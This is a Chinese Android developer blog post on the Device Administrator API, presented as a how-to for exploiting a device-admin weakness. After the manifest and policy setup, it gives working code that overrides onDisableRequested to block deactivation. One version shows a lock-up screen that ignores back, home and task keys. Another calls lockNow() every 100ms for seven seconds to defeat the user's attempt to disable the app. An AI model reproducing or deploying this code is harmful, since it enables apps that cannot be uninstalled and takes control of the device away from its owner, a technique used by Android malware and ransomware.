您的位置:首页 > 移动开发 > Android开发

android设备管理器使用

2016-05-28 15:19 417 查看

关于安卓的设备管理器和设备管理器漏洞的使用

1.先在配置文件中加入

<receiver android:name=".MyAdmin">
<meta-data android:name="android.app.device_admin"
android:resource="@xml/my_admin" />
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>


2.用于配置的xml文件my_admin.

<?xml version="1.0" encoding="utf-8"?>
<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
<uses-policies>
<limit-password />
<watch-login />
<reset-password />
<force-lock />
<wipe-data />
</uses-policies>
</device-admin>


3.java代码

public class MyAdmin extends DeviceAdminReceiver {

@Override
public void onReceive(Context context, Intent intent) {
super.onReceive(context, intent);
// Intent i = new Intent(context, MainActivity.class);
// i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
// context.startActivity(i);
Log.e("autosetting", "receiver onReceive");
}

/**
* 获取设备存储的数值
*
* @param context
* @return
*/
public static SharedPreferences getDevicePreference(Context context) {
return context.getSharedPreferences(DeviceMyReceiver.class.getName(), 0);
}

// 密码的特点
public static String PREF_PASSWORD_QUALITY = "password_quality";
// 密码的长度
public static String PREF_PASSWORD_LENGTH = "password_length";

public static String PREF_MAX_FAILED_PW = "max_failed_pw";

void showToast(Context context, CharSequence text) {
Toast.makeText(context, text, Toast.LENGTH_SHORT).show();
}

@Override
public void onEnabled(Context context, Intent intent) {
showToast(context, "设备管理:可用");
}

@Override
public void onDisabled(Context context, Intent intent) {
showToast(context, "设备管理:不可用");
}

@Override
public CharSequence onDisableRequested(Context context, Intent intent) {
// 这里处理 不可编辑设备。
Intent intent2 = new Intent(context, NoticeSetting.class);
intent2.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(intent2);
context.stopService(intent);// 是否可以停止
return ""; // "这是一个可选的消息,警告有关禁止用户的请求";
}

@Override
public void onPasswordChanged(Context context, Intent intent) {
showToast(context, "设备管理:密码己经改变");
}

@Override
public void onPasswordFailed(Context context, Intent intent) {
showToast(context, "设备管理:改变密码失败");
}

@Override
public void onPasswordSucceeded(Context context, Intent intent) {
showToast(context, "设备管理:改变密码成功");
}

}


核心代码为 onDisableRequested方法可以做很作操作。正常情况下是取消勾选时,提示用户一句话。这里 context.stopService(intent);我把设置界面给关了。然后呢 跳转到制定死机界面 NoticeSetting。NoticeSetting界面按键任何都不管用(重写返回键,home键和任务键),只能重启。。

4 MainActivity调用

public class MainActivity extends PreferenceActivity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.layout);
ComponentName mDeviceAdminSample = new ComponentName(this, MyAdmin.class);
Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, mDeviceAdminSample);
intent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION,
"激活设备管理器");
startActivity(intent);
}
}


用组件启动激活设备管理器的程序

进阶漏洞利用

–利用设备管理器的漏洞 重写DeviceAdminReceiver的onDisableRequested 只要用户点击取消启动

onDisableRequested 的locknow 再休眠7秒

public CharSequence onDisableRequested(Context context, Intent intent) {

//跳离当前询问是否取消激活的 dialog
Intent outOfDialog = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");
outOfDialog.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(outOfDialog);

//调用设备管理器本身的功能,每 100ms 锁屏一次,用户即便解锁也会立即被锁,直至 7s 后
final DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);
dpm.lockNow();
new Thread(new Runnable() {
@Override
public void run() {
int i = 0;
while (i < 70) {
dpm.lockNow();
try {
Thread.sleep(100);
i++;
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}).start();

return "";
}


参考:

http://2bab.me/2015/02/09/app-cannot-be-uninstalled/

http://blog.csdn.net/androidsecurity/article/details/9124747
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: